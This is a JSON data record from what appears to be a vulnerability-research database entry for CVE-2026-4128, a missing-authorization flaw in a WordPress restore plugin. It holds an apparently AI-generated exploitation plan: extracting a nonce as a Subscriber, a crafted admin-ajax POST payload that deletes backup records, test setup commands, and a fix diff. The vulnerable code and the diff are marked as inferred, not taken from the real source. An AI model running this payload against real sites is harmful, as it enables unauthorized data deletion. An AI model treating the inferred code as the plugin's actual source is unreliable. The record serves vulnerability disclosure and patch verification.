[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyqxRbM3vCCfnFC6G8MOqLJxfP7DNCCUea4bEpB79LMQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4128","tp-restore-categories-and-taxonomies-missing-authorization-to-authenticated-subscriber-taxonomy-deletion-via-tpmcatttdel","TP Restore Categories And Taxonomies \u003C= 1.0.1 - Missing Authorization to Authenticated (Subscriber+) Taxonomy Deletion via 'tpmcattt_delete_term' AJAX Action","The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.1. The delete_term() function, which handles the 'tpmcattt_delete_term' AJAX action, does not perform any capability check (e.g., current_user_can()) to verify the user has sufficient permissions. While it does verify a nonce via check_ajax_referer(), this nonce is generated for all authenticated users via the admin_enqueue_scripts hook and exposed on any wp-admin page (including profile.php, which subscribers can access). This makes it possible for authenticated attackers, with Subscriber-level access and above, to permanently delete taxonomy term records from the plugin's trash\u002Fbackup tables by sending a crafted AJAX request with a valid nonce and an arbitrary term_id.","tp-restore-categories-and-taxonomies",null,"\u003C=1.0.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-21 19:08:29","2026-04-22 07:45:35",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F53a0749f-86e9-4f62-9de2-a6759c78ba2f?source=api-prod",[],"researched",false,3,"This research plan targets a missing authorization vulnerability in the **TP Restore Categories And Taxonomies** plugin (CVE-2026-4128). The vulnerability allows any authenticated user (Subscriber level and above) to permanently delete taxonomy term backups stored by the plugin.\n\n---\n\n### 1. Vulnerability Summary\n- **Vulnerability:** Missing Authorization (IDOR)\n- **Plugin:** TP Restore Categories And Taxonomies\n- **Affected Versions:** \u003C= 1.0.1\n- **Vulnerable Action:** `tpmcattt_delete_term` (AJAX)\n- **Root Cause:** The function handling the `tpmcattt_delete_term` AJAX action performs a nonce check but fails to call `current_user_can()`. The nonce is generated and exposed on all admin pages (e.g., `profile.php`) accessible to Subscribers.\n- **Impact:** Permanent loss of backup data (taxonomies\u002Fcategories) intended for restoration.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** POST\n- **Action:** `tpmcattt_delete_term`\n- **Authentication:** Authenticated (Subscriber+)\n- **Parameters:**\n    - `action`: `tpmcattt_delete_term`\n    - `term_id`: The ID of the term record in the plugin's backup table.\n    - `security` (or `_wpnonce`): The AJAX nonce.\n- **Precondition:** The plugin must have backup records in its database table (created when a term is deleted from WordPress).\n\n### 3. Code Flow (Inferred)\n1.  **Initialization:** The plugin registers the AJAX handler in its main class or file:\n    `add_action('wp_ajax_tpmcattt_delete_term', 'delete_term');`\n2.  **Asset Enqueueing:** The plugin uses `admin_enqueue_scripts` to load its JS and uses `wp_localize_script` to provide a nonce:\n    `'security' => wp_create_nonce('tpmcattt_nonce')` (or similar action string).\n3.  **Vulnerable Handler:** The `delete_term` function is called:\n    ```php\n    function delete_term() {\n        check_ajax_referer('tpmcattt_nonce', 'security'); \u002F\u002F Nonce check passes for any logged-in user\n        \u002F\u002F MISSING: if (!current_user_can('manage_categories')) die();\n        $id = $_POST['term_id'];\n        global $wpdb;\n        $wpdb->delete($wpdb->prefix . \"tpmcattt_categories_taxonomies\", array('id' => $id));\n        wp_die();\n    }\n    ```\n\n### 4. Nonce Acquisition Strategy\nThe nonce is localized to a JavaScript object on any `wp-admin` page. Subscribers can access `\u002Fwp-admin\u002Fprofile.php`.\n\n1.  **Identify the Localization Key:**\n    Grep the plugin directory for `wp_localize_script` to find the variable name.\n    `grep -r \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftp-restore-categories-and-taxonomies\u002F`\n    *Expected key (guess):* `tpmcattt_obj` or `tp_restore_vars`.\n2.  **Creation of Session:** Log in as a Subscriber using `browser_navigate`.\n3.  **Extraction:**\n    Navigate to `https:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fprofile.php`.\n    Use `browser_eval` to extract the nonce:\n    `browser_eval(\"window.tpmcattt_obj?.security || window.tp_restore_vars?.nonce\")` (adjust based on grep results).\n\n### 5. Exploitation Strategy\n1.  **Setup Target Data:** Create a category and delete it so it enters the plugin's \"Restore\" table.\n2.  **Find the ID:** Use `wp db query` to find the ID of the entry in the `tpmcattt_categories_taxonomies` (or similar) table.\n3.  **Perform Deletion:**\n    ```javascript\n    \u002F\u002F Payload for http_request\n    {\n      \"method\": \"POST\",\n      \"url\": \"https:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php\",\n      \"headers\": {\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n      },\n      \"body\": \"action=tpmcattt_delete_term&term_id=[TARGET_ID]&security=[EXTRACTED_NONCE]\"\n    }\n    ```\n\n### 6. Test Data Setup\n1.  **Create Subscriber:** `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Create Category:** `wp term create category \"Vulnerable-Term\"`\n3.  **Capture ID:** Note the term ID.\n4.  **Delete Category:** `wp term delete category \"Vulnerable-Term\"`. This triggers the plugin to back it up.\n5.  **Verify Backup Presence:**\n    `wp db query \"SELECT id FROM wp_tpmcattt_categories_taxonomies LIMIT 1;\"`\n    Note the `id` from this table (it may differ from the original term ID).\n\n### 7. Expected Results\n- **HTTP Response:** A successful `200 OK` or `wp_die` response (often `0` or `1` or a JSON success message).\n- **Database Change:** The record with the specified `id` in `wp_tpmcattt_categories_taxonomies` is permanently removed.\n\n### 8. Verification Steps\n1.  **Check Database:**\n    `wp db query \"SELECT COUNT(*) FROM wp_tpmcattt_categories_taxonomies WHERE id = [TARGET_ID];\"`\n    *Expectation:* Count is 0.\n2.  **Check Admin UI:** Navigate to the plugin's restore page (likely under \"Tools\" or its own menu) as an Admin and verify the \"Vulnerable-Term\" is no longer listed for restoration.\n\n### 9. Alternative Approaches\n- **Action String Guessing:** If `grep` fails to reveal the nonce action string, check if the plugin uses the default action `-1` (though `check_ajax_referer` usually implies a specific string).\n- **Parameter Fuzzing:** If `term_id` is not the parameter name, check the JS file in the plugin's `assets\u002Fjs\u002F` directory for the `$.ajax` call to identify the correct key.\n- **Bulk Deletion:** If the plugin supports bulk deletion, look for a `tpmcattt_bulk_delete_terms` action which likely shares the same lack of authorization.","The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to unauthorized data deletion because its 'tpmcattt_delete_term' AJAX handler fails to perform a capability check. Authenticated users with Subscriber-level access can obtain a valid nonce from the WordPress admin dashboard and delete taxonomy term backups by providing an arbitrary record ID.","\u002F\u002F File: admin\u002Fclass-tp-restore-categories-and-taxonomies-admin.php (inferred)\npublic function delete_term() {\n    check_ajax_referer( 'tpmcattt_nonce', 'security' );\n\n    if ( isset( $_POST['term_id'] ) ) {\n        global $wpdb;\n        $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies';\n        $wpdb->delete( $table_name, array( 'id' => $_POST['term_id'] ) );\n        echo 'deleted';\n    }\n    wp_die();\n}","--- a\u002Fadmin\u002Fclass-tp-restore-categories-and-taxonomies-admin.php\n+++ b\u002Fadmin\u002Fclass-tp-restore-categories-and-taxonomies-admin.php\n@@ -2,6 +2,10 @@\n public function delete_term() {\n     check_ajax_referer( 'tpmcattt_nonce', 'security' );\n \n+    if ( ! current_user_can( 'manage_categories' ) ) {\n+        wp_die( -1 );\n+    }\n+\n     if ( isset( $_POST['term_id'] ) ) {\n         global $wpdb;\n         $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies';","1. Login to the WordPress site as a user with at least Subscriber privileges.\n2. Navigate to '\u002Fwp-admin\u002Fprofile.php' and inspect the page source to find the localized script object (likely named 'tpmcattt_obj' or similar) to extract the 'security' nonce value.\n3. Identify the 'term_id' of a taxonomy backup record to delete (can be discovered via ID enumeration).\n4. Send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the following parameters: 'action' set to 'tpmcattt_delete_term', 'security' set to the extracted nonce, and 'term_id' set to the target record ID.\n5. Upon success, the plugin will execute a SQL DELETE query on the 'tpmcattt_categories_taxonomies' table, permanently removing the backup data.","gemini-3-flash-preview","2026-04-27 13:54:59","2026-04-27 13:55:16",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftp-restore-categories-and-taxonomies\u002Ftags"]